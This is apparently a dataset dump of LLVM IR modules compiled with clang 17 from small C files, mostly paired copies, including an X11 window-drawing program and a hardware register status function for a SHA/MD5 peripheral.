attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpuu9xs_xc.c'
source_filename = "/tmp/tmpuu9xs_xc.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpuu9xs_xc.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp0xus0cwu.c'
source_filename = "/tmp/tmp0xus0cwu.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.TYPE_5__ = type { i32, %struct.TYPE_4__ }
%struct.TYPE_4__ = type { i32, i32, i32, i32 }
@.str = private unnamed_addr constant [8 x i8] c"DISPLAY\00", align 1
@stderr = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [45 x i8] c"Error: DISPLAY environment variable not set\0A\00", align 1
@.str.2 = private unnamed_addr constant [31 x i8] c"Error: Can't open display: %s\0A\00", align 1
@ExposureMask = dso_local global i32 0, align 4
@.str.3 = private unnamed_addr constant [14 x i8] c"Got event %d\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
%12 = alloca i32, align 4
%13 = alloca i32, align 4
%14 = alloca %struct.TYPE_5__, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%15 = call ptr @getenv(ptr noundef @.str)
store ptr %15, ptr %6, align 8
%16 = icmp eq ptr %15, null
br i1 %16, label %17, label %21
17: ; preds = %2
%18 = load i32, ptr @stderr, align 4
%19 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %18, ptr noundef @.str.1)
%20 = call i32 @exit(i32 noundef 1) #3
unreachable
21: ; preds = %2
%22 = load ptr, ptr %6, align 8
%23 = call ptr @XOpenDisplay(ptr noundef %22)
store ptr %23, ptr %7, align 8
%24 = icmp eq ptr %23, null
br i1 %24, label %25, label %30
25: ; preds = %21
%26 = load i32, ptr @stderr, align 4
%27 = load ptr, ptr %6, align 8
%28 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %26, ptr noundef @.str.2, ptr noundef %27)
%29 = call i32 @exit(i32 noundef 1) #3
unreachable
30: ; preds = %21
store i32 200, ptr %9, align 4
store i32 200, ptr %10, align 4
%31 = load ptr, ptr %7, align 8
%32 = load ptr, ptr %7, align 8
%33 = call i32 @DefaultRootWindow(ptr noundef %32)
%34 = load i32, ptr %9, align 4
%35 = load i32, ptr %10, align 4
%36 = load ptr, ptr %7, align 8
%37 = call i32 @WhitePixel(ptr noundef %36, i32 noundef 0)
%38 = call i32 @XCreateSimpleWindow(ptr noundef %31, i32 noundef %33, i32 noundef 0, i32 noundef 0, i32 noundef %34, i32 noundef %35, i32 noundef 0, i64 noundef 0, i32 noundef %37)
store i32 %38, ptr %11, align 4
%39 = load ptr, ptr %7, align 8
%40 = load i32, ptr %11, align 4
%41 = load i32, ptr @ExposureMask, align 4
%42 = call i32 @XSelectInput(ptr noundef %39, i32 noundef %40, i32 noundef %41)
%43 = load ptr, ptr %7, align 8
%44 = load i32, ptr %11, align 4
%45 = load i32, ptr %9, align 4
%46 = load i32, ptr %10, align 4
%47 = load ptr, ptr %7, align 8
%48 = call i32 @DefaultDepth(ptr noundef %47, i32 noundef 0)
%49 = call i32 @XCreatePixmap(ptr noundef %43, i32 noundef %44, i32 noundef %45, i32 noundef %46, i32 noundef %48)
store i32 %49, ptr %12, align 4
%50 = load ptr, ptr %7, align 8
%51 = load i32, ptr %12, align 4
%52 = call i32 @XCreateGC(ptr noundef %50, i32 noundef %51, i32 noundef 0, ptr noundef null)
store i32 %52, ptr %13, align 4
%53 = load ptr, ptr %7, align 8
%54 = load i32, ptr %13, align 4
%55 = load ptr, ptr %7, align 8
%56 = call i32 @BlackPixel(ptr noundef %55, i32 noundef 0)
%57 = call i32 @XSetForeground(ptr noundef %53, i32 noundef %54, i32 noundef %56)
%58 = load ptr, ptr %7, align 8
%59 = load i32, ptr %12, align 4
%60 = load i32, ptr %13, align 4
%61 = load i32, ptr %9, align 4
%62 = load i32, ptr %10, align 4
%63 = call i32 @XFillRectangle(ptr noundef %58, i32 noundef %59, i32 noundef %60, i32 noundef 0, i32 noundef 0, i32 noundef %61, i32 noundef %62)
%64 = load ptr, ptr %7, align 8
%65 = load i32, ptr %13, align 4
%66 = load ptr, ptr %7, align 8
%67 = call i32 @WhitePixel(ptr noundef %66, i32 noundef 0)
%68 = call i32 @XSetForeground(ptr noundef %64, i32 noundef %65, i32 noundef %67)
%69 = load ptr, ptr %7, align 8
%70 = load i32, ptr %12, align 4
%71 = load i32, ptr %13, align 4
%72 = call i32 @XFillRectangle(ptr noundef %69, i32 noundef %70, i32 noundef %71, i32 noundef 50, i32 noundef 50, i32 noundef 50, i32 noundef 50)
%73 = load ptr, ptr %7, align 8
%74 = load i32, ptr %12, align 4
%75 = load i32, ptr %11, align 4
%76 = load i32, ptr %13, align 4
%77 = load i32, ptr %9, align 4
%78 = load i32, ptr %10, align 4
%79 = call i32 @XCopyArea(ptr noundef %73, i32 noundef %74, i32 noundef %75, i32 noundef %76, i32 noundef 0, i32 noundef 0, i32 noundef %77, i32 noundef %78, i32 noundef 0, i32 noundef 0)
%80 = load ptr, ptr %7, align 8
%81 = load i32, ptr %11, align 4
%82 = call i32 @XMapWindow(ptr noundef %80, i32 noundef %81)
br label %83
83: ; preds = %116, %30
%84 = load ptr, ptr %7, align 8
%85 = call i32 @XNextEvent(ptr noundef %84, ptr noundef %14)
%86 = getelementptr inbounds %struct.TYPE_5__, ptr %14, i32 0, i32 0
%87 = load i32, ptr %86, align 4
switch i32 %87, label %112 [
i32 128, label %88
]
88: ; preds = %83
%89 = load ptr, ptr %7, align 8
%90 = load i32, ptr %12, align 4
%91 = load i32, ptr %11, align 4
%92 = load i32, ptr %13, align 4
%93 = getelementptr inbounds %struct.TYPE_5__, ptr %14, i32 0, i32 1
%94 = getelementptr inbounds %struct.TYPE_4__, ptr %93, i32 0, i32 3
%95 = load i32, ptr %94, align 4
%96 = getelementptr inbounds %struct.TYPE_5__, ptr %14, i32 0, i32 1
%97 = getelementptr inbounds %struct.TYPE_4__, ptr %96, i32 0, i32 2
%98 = load i32, ptr %97, align 4
%99 = getelementptr inbounds %struct.TYPE_5__, ptr %14, i32 0, i32 1
%100 = getelementptr inbounds %struct.TYPE_4__, ptr %99, i32 0, i32 0
%101 = load i32, ptr %100, align 4
%102 = getelementptr inbounds %struct.TYPE_5__, ptr %14, i32 0, i32 1
%103 = getelementptr inbounds %struct.TYPE_4__, ptr %102, i32 0, i32 1
%104 = load i32, ptr %103, align 4
%105 = getelementptr inbounds %struct.TYPE_5__, ptr %14, i32 0, i32 1
%106 = getelementptr inbounds %struct.TYPE_4__, ptr %105, i32 0, i32 3
%107 = load i32, ptr %106, align 4
%108 = getelementptr inbounds %struct.TYPE_5__, ptr %14, i32 0, i32 1
%109 = getelementptr inbounds %struct.TYPE_4__, ptr %108, i32 0, i32 2
%110 = load i32, ptr %109, align 4
%111 = call i32 @XCopyArea(ptr noundef %89, i32 noundef %90, i32 noundef %91, i32 noundef %92, i32 noundef %95, i32 noundef %98, i32 noundef %101, i32 noundef %104, i32 noundef %107, i32 noundef %110)
br label %116
112: ; preds = %83
%113 = getelementptr inbounds %struct.TYPE_5__, ptr %14, i32 0, i32 0
%114 = load i32, ptr %113, align 4
%115 = call i32 @printf(ptr noundef @.str.3, i32 noundef %114)
br label %116
116: ; preds = %112, %88
br label %83
}
declare ptr @getenv(ptr noundef) #1
declare i32 @fprintf(i32 noundef, ptr noundef, ...) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare ptr @XOpenDisplay(ptr noundef) #1
declare i32 @XCreateSimpleWindow(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i64 noundef, i32 noundef) #1
declare i32 @DefaultRootWindow(ptr noundef) #1
declare i32 @WhitePixel(ptr noundef, i32 noundef) #1
declare i32 @XSelectInput(ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @XCreatePixmap(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @DefaultDepth(ptr noundef, i32 noundef) #1
declare i32 @XCreateGC(ptr noundef, i32 noundef, i32 noundef, ptr noundef) #1
declare i32 @XSetForeground(ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @BlackPixel(ptr noundef, i32 noundef) #1
declare i32 @XFillRectangle(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @XCopyArea(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @XMapWindow(ptr noundef, i32 noundef) #1
declare i32 @XNextEvent(ptr noundef, ptr noundef) #1
declare i32 @printf(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp0xus0cwu.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.TYPE_5__ = type { i32, %struct.TYPE_4__ }
%struct.TYPE_4__ = type { i32, i32, i32, i32 }
@.str = private unnamed_addr constant [8 x i8] c"DISPLAY\00", align 1
@stderr = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [45 x i8] c"Error: DISPLAY environment variable not set\0A\00", align 1
@.str.2 = private unnamed_addr constant [31 x i8] c"Error: Can't open display: %s\0A\00", align 1
@ExposureMask = dso_local global i32 0, align 4
@.str.3 = private unnamed_addr constant [14 x i8] c"Got event %d\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
%12 = alloca i32, align 4
%13 = alloca i32, align 4
%14 = alloca %struct.TYPE_5__, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%15 = call ptr @getenv(ptr noundef @.str)
store ptr %15, ptr %6, align 8
%16 = icmp eq ptr %15, null
br i1 %16, label %17, label %21
17: ; preds = %2
%18 = load i32, ptr @stderr, align 4
%19 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %18, ptr noundef @.str.1)
%20 = call i32 @exit(i32 noundef 1) #3
unreachable
21: ; preds = %2
%22 = load ptr, ptr %6, align 8
%23 = call ptr @XOpenDisplay(ptr noundef %22)
store ptr %23, ptr %7, align 8
%24 = icmp eq ptr %23, null
br i1 %24, label %25, label %30
25: ; preds = %21
%26 = load i32, ptr @stderr, align 4
%27 = load ptr, ptr %6, align 8
%28 = call i32 (i32, ptr, ...) @fprintf(i32 noundef %26, ptr noundef @.str.2, ptr noundef %27)
%29 = call i32 @exit(i32 noundef 1) #3
unreachable
30: ; preds = %21
store i32 200, ptr %9, align 4
store i32 200, ptr %10, align 4
%31 = load ptr, ptr %7, align 8
%32 = load ptr, ptr %7, align 8
%33 = call i32 @DefaultRootWindow(ptr noundef %32)
%34 = load i32, ptr %9, align 4
%35 = load i32, ptr %10, align 4
%36 = load ptr, ptr %7, align 8
%37 = call i32 @WhitePixel(ptr noundef %36, i32 noundef 0)
%38 = call i32 @XCreateSimpleWindow(ptr noundef %31, i32 noundef %33, i32 noundef 0, i32 noundef 0, i32 noundef %34, i32 noundef %35, i32 noundef 0, i64 noundef 0, i32 noundef %37)
store i32 %38, ptr %11, align 4
%39 = load ptr, ptr %7, align 8
%40 = load i32, ptr %11, align 4
%41 = load i32, ptr @ExposureMask, align 4
%42 = call i32 @XSelectInput(ptr noundef %39, i32 noundef %40, i32 noundef %41)
%43 = load ptr, ptr %7, align 8
%44 = load i32, ptr %11, align 4
%45 = load i32, ptr %9, align 4
%46 = load i32, ptr %10, align 4
%47 = load ptr, ptr %7, align 8
%48 = call i32 @DefaultDepth(ptr noundef %47, i32 noundef 0)
%49 = call i32 @XCreatePixmap(ptr noundef %43, i32 noundef %44, i32 noundef %45, i32 noundef %46, i32 noundef %48)
store i32 %49, ptr %12, align 4
%50 = load ptr, ptr %7, align 8
%51 = load i32, ptr %12, align 4
%52 = call i32 @XCreateGC(ptr noundef %50, i32 noundef %51, i32 noundef 0, ptr noundef null)
store i32 %52, ptr %13, align 4
%53 = load ptr, ptr %7, align 8
%54 = load i32, ptr %13, align 4
%55 = load ptr, ptr %7, align 8
%56 = call i32 @BlackPixel(ptr noundef %55, i32 noundef 0)
%57 = call i32 @XSetForeground(ptr noundef %53, i32 noundef %54, i32 noundef %56)
%58 = load ptr, ptr %7, align 8
%59 = load i32, ptr %12, align 4
%60 = load i32, ptr %13, align 4
%61 = load i32, ptr %9, align 4
%62 = load i32, ptr %10, align 4
%63 = call i32 @XFillRectangle(ptr noundef %58, i32 noundef %59, i32 noundef %60, i32 noundef 0, i32 noundef 0, i32 noundef %61, i32 noundef %62)
%64 = load ptr, ptr %7, align 8
%65 = load i32, ptr %13, align 4
%66 = load ptr, ptr %7, align 8
%67 = call i32 @WhitePixel(ptr noundef %66, i32 noundef 0)
%68 = call i32 @XSetForeground(ptr noundef %64, i32 noundef %65, i32 noundef %67)
%69 = load ptr, ptr %7, align 8
%70 = load i32, ptr %12, align 4
%71 = load i32, ptr %13, align 4
%72 = call i32 @XFillRectangle(ptr noundef %69, i32 noundef %70, i32 noundef %71, i32 noundef 50, i32 noundef 50, i32 noundef 50, i32 noundef 50)
%73 = load ptr, ptr %7, align 8
%74 = load i32, ptr %12, align 4
%75 = load i32, ptr %11, align 4
%76 = load i32, ptr %13, align 4
%77 = load i32, ptr %9, align 4
%78 = load i32, ptr %10, align 4
%79 = call i32 @XCopyArea(ptr noundef %73, i32 noundef %74, i32 noundef %75, i32 noundef %76, i32 noundef 0, i32 noundef 0, i32 noundef %77, i32 noundef %78, i32 noundef 0, i32 noundef 0)
%80 = load ptr, ptr %7, align 8
%81 = load i32, ptr %11, align 4
%82 = call i32 @XMapWindow(ptr noundef %80, i32 noundef %81)
br label %83
83: ; preds = %116, %30
%84 = load ptr, ptr %7, align 8
%85 = call i32 @XNextEvent(ptr noundef %84, ptr noundef %14)
%86 = getelementptr inbounds %struct.TYPE_5__, ptr %14, i32 0, i32 0
%87 = load i32, ptr %86, align 4
switch i32 %87, label %112 [
i32 128, label %88
]
88: ; preds = %83
%89 = load ptr, ptr %7, align 8
%90 = load i32, ptr %12, align 4
%91 = load i32, ptr %11, align 4
%92 = load i32, ptr %13, align 4
%93 = getelementptr inbounds %struct.TYPE_5__, ptr %14, i32 0, i32 1
%94 = getelementptr inbounds %struct.TYPE_4__, ptr %93, i32 0, i32 3
%95 = load i32, ptr %94, align 4
%96 = getelementptr inbounds %struct.TYPE_5__, ptr %14, i32 0, i32 1
%97 = getelementptr inbounds %struct.TYPE_4__, ptr %96, i32 0, i32 2
%98 = load i32, ptr %97, align 4
%99 = getelementptr inbounds %struct.TYPE_5__, ptr %14, i32 0, i32 1
%100 = getelementptr inbounds %struct.TYPE_4__, ptr %99, i32 0, i32 0
%101 = load i32, ptr %100, align 4
%102 = getelementptr inbounds %struct.TYPE_5__, ptr %14, i32 0, i32 1
%103 = getelementptr inbounds %struct.TYPE_4__, ptr %102, i32 0, i32 1
%104 = load i32, ptr %103, align 4
%105 = getelementptr inbounds %struct.TYPE_5__, ptr %14, i32 0, i32 1
%106 = getelementptr inbounds %struct.TYPE_4__, ptr %105, i32 0, i32 3
%107 = load i32, ptr %106, align 4
%108 = getelementptr inbounds %struct.TYPE_5__, ptr %14, i32 0, i32 1
%109 = getelementptr inbounds %struct.TYPE_4__, ptr %108, i32 0, i32 2
%110 = load i32, ptr %109, align 4
%111 = call i32 @XCopyArea(ptr noundef %89, i32 noundef %90, i32 noundef %91, i32 noundef %92, i32 noundef %95, i32 noundef %98, i32 noundef %101, i32 noundef %104, i32 noundef %107, i32 noundef %110)
br label %116
112: ; preds = %83
%113 = getelementptr inbounds %struct.TYPE_5__, ptr %14, i32 0, i32 0
%114 = load i32, ptr %113, align 4
%115 = call i32 @printf(ptr noundef @.str.3, i32 noundef %114)
br label %116
116: ; preds = %112, %88
br label %83
}
declare ptr @getenv(ptr noundef) #1
declare i32 @fprintf(i32 noundef, ptr noundef, ...) #1
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) #2
declare ptr @XOpenDisplay(ptr noundef) #1
declare i32 @XCreateSimpleWindow(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i64 noundef, i32 noundef) #1
declare i32 @DefaultRootWindow(ptr noundef) #1
declare i32 @WhitePixel(ptr noundef, i32 noundef) #1
declare i32 @XSelectInput(ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @XCreatePixmap(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @DefaultDepth(ptr noundef, i32 noundef) #1
declare i32 @XCreateGC(ptr noundef, i32 noundef, i32 noundef, ptr noundef) #1
declare i32 @XSetForeground(ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @BlackPixel(ptr noundef, i32 noundef) #1
declare i32 @XFillRectangle(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @XCopyArea(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @XMapWindow(ptr noundef, i32 noundef) #1
declare i32 @XNextEvent(ptr noundef, ptr noundef) #1
declare i32 @printf(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpjh3663ku.c'
source_filename = "/tmp/tmpjh3663ku.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpjh3663ku.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpsvr39ke5.c'
source_filename = "/tmp/tmpsvr39ke5.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @SHAMD5IntStatus(i32 noundef %0, i32 noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
store i32 %0, ptr %4, align 4
store i32 %1, ptr %5, align 4
%9 = load i32, ptr %4, align 4
%10 = icmp eq i32 %9, 1141063680
%11 = zext i1 %10 to i32
%12 = call i32 @ASSERT(i32 noundef %11)
%13 = load i32, ptr %4, align 4
%14 = add nsw i32 %13, 280
%15 = sext i32 %14 to i64
%16 = inttoptr i64 %15 to ptr
%17 = load volatile i32, ptr %16, align 4
store i32 %17, ptr %6, align 4
%18 = load i32, ptr %5, align 4
%19 = icmp ne i32 %18, 0
br i1 %19, label %20, label %46
20: ; preds = %2
%21 = load i32, ptr %4, align 4
%22 = add nsw i32 %21, 284
%23 = sext i32 %22 to i64
%24 = inttoptr i64 %23 to ptr
%25 = load volatile i32, ptr %24, align 4
store i32 %25, ptr %7, align 4
%26 = load i32, ptr %4, align 4
%27 = add i32 %26, -16360
%28 = zext i32 %27 to i64
%29 = inttoptr i64 %28 to ptr
%30 = load volatile i32, ptr %29, align 4
store i32 %30, ptr %8, align 4
%31 = load i32, ptr %6, align 4
%32 = load i32, ptr %7, align 4
%33 = and i32 %31, %32
%34 = load i32, ptr %8, align 4
%35 = and i32 %34, 1
%36 = shl i32 %35, 19
%37 = or i32 %33, %36
%38 = load i32, ptr %8, align 4
%39 = and i32 %38, 2
%40 = shl i32 %39, 16
%41 = or i32 %37, %40
%42 = load i32, ptr %8, align 4
%43 = and i32 %42, 4
%44 = shl i32 %43, 14
%45 = or i32 %41, %44
store i32 %45, ptr %3, align 4
br label %65
46: ; preds = %2
%47 = load i32, ptr %4, align 4
%48 = add i32 %47, -16364
%49 = zext i32 %48 to i64
%50 = inttoptr i64 %49 to ptr
%51 = load volatile i32, ptr %50, align 4
store i32 %51, ptr %8, align 4
%52 = load i32, ptr %6, align 4
%53 = load i32, ptr %8, align 4
%54 = and i32 %53, 1
%55 = shl i32 %54, 19
%56 = or i32 %52, %55
%57 = load i32, ptr %8, align 4
%58 = and i32 %57, 2
%59 = shl i32 %58, 16
%60 = or i32 %56, %59
%61 = load i32, ptr %8, align 4
%62 = and i32 %61, 4
%63 = shl i32 %62, 14
%64 = or i32 %60, %63
store i32 %64, ptr %3, align 4
br label %65
65: ; preds = %46, %20
%66 = load i32, ptr %3, align 4
ret i32 %66
}
declare i32 @ASSERT(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpsvr39ke5.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @SHAMD5IntStatus(i32 noundef %0, i32 noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
store i32 %0, ptr %4, align 4
store i32 %1, ptr %5, align 4
%9 = load i32, ptr %4, align 4
%10 = icmp eq i32 %9, 1141063680
%11 = zext i1 %10 to i32
%12 = call i32 @ASSERT(i32 noundef %11)
%13 = load i32, ptr %4, align 4
%14 = add nsw i32 %13, 280
%15 = sext i32 %14 to i64
%16 = inttoptr i64 %15 to ptr
%17 = load volatile i32, ptr %16, align 4
store i32 %17, ptr %6, align 4
%18 = load i32, ptr %5, align 4
%19 = icmp ne i32 %18, 0
br i1 %19, label %20, label %46
20: ; preds = %2
%21 = load i32, ptr %4, align 4
%22 = add nsw i32 %21, 284
%23 = sext i32 %22 to i64
%24 = inttoptr i64 %23 to ptr
%25 = load volatile i32, ptr %24, align 4
store i32 %25, ptr %7, align 4
%26 = load i32, ptr %4, align 4
%27 = add i32 %26, -16360
%28 = zext i32 %27 to i64
%29 = inttoptr i64 %28 to ptr
%30 = load volatile i32, ptr %29, align 4
store i32 %30, ptr %8, align 4
%31 = load i32, ptr %6, align 4
%32 = load i32, ptr %7, align 4
%33 = and i32 %31, %32
%34 = load i32, ptr %8, align 4
%35 = and i32 %34, 1
%36 = shl i32 %35, 19
%37 = or i32 %33, %36
%38 = load i32, ptr %8, align 4
%39 = and i32 %38, 2
%40 = shl i32 %39, 16
%41 = or i32 %37, %40
%42 = load i32, ptr %8, align 4
%43 = and i32 %42, 4
%44 = shl i32 %43, 14
%45 = or i32 %41, %44
store i32 %45, ptr %3, align 4
br label %65
46: ; preds = %2
%47 = load i32, ptr %4, align 4
%48 = add i32 %47, -16364
%49 = zext i32 %48 to i64
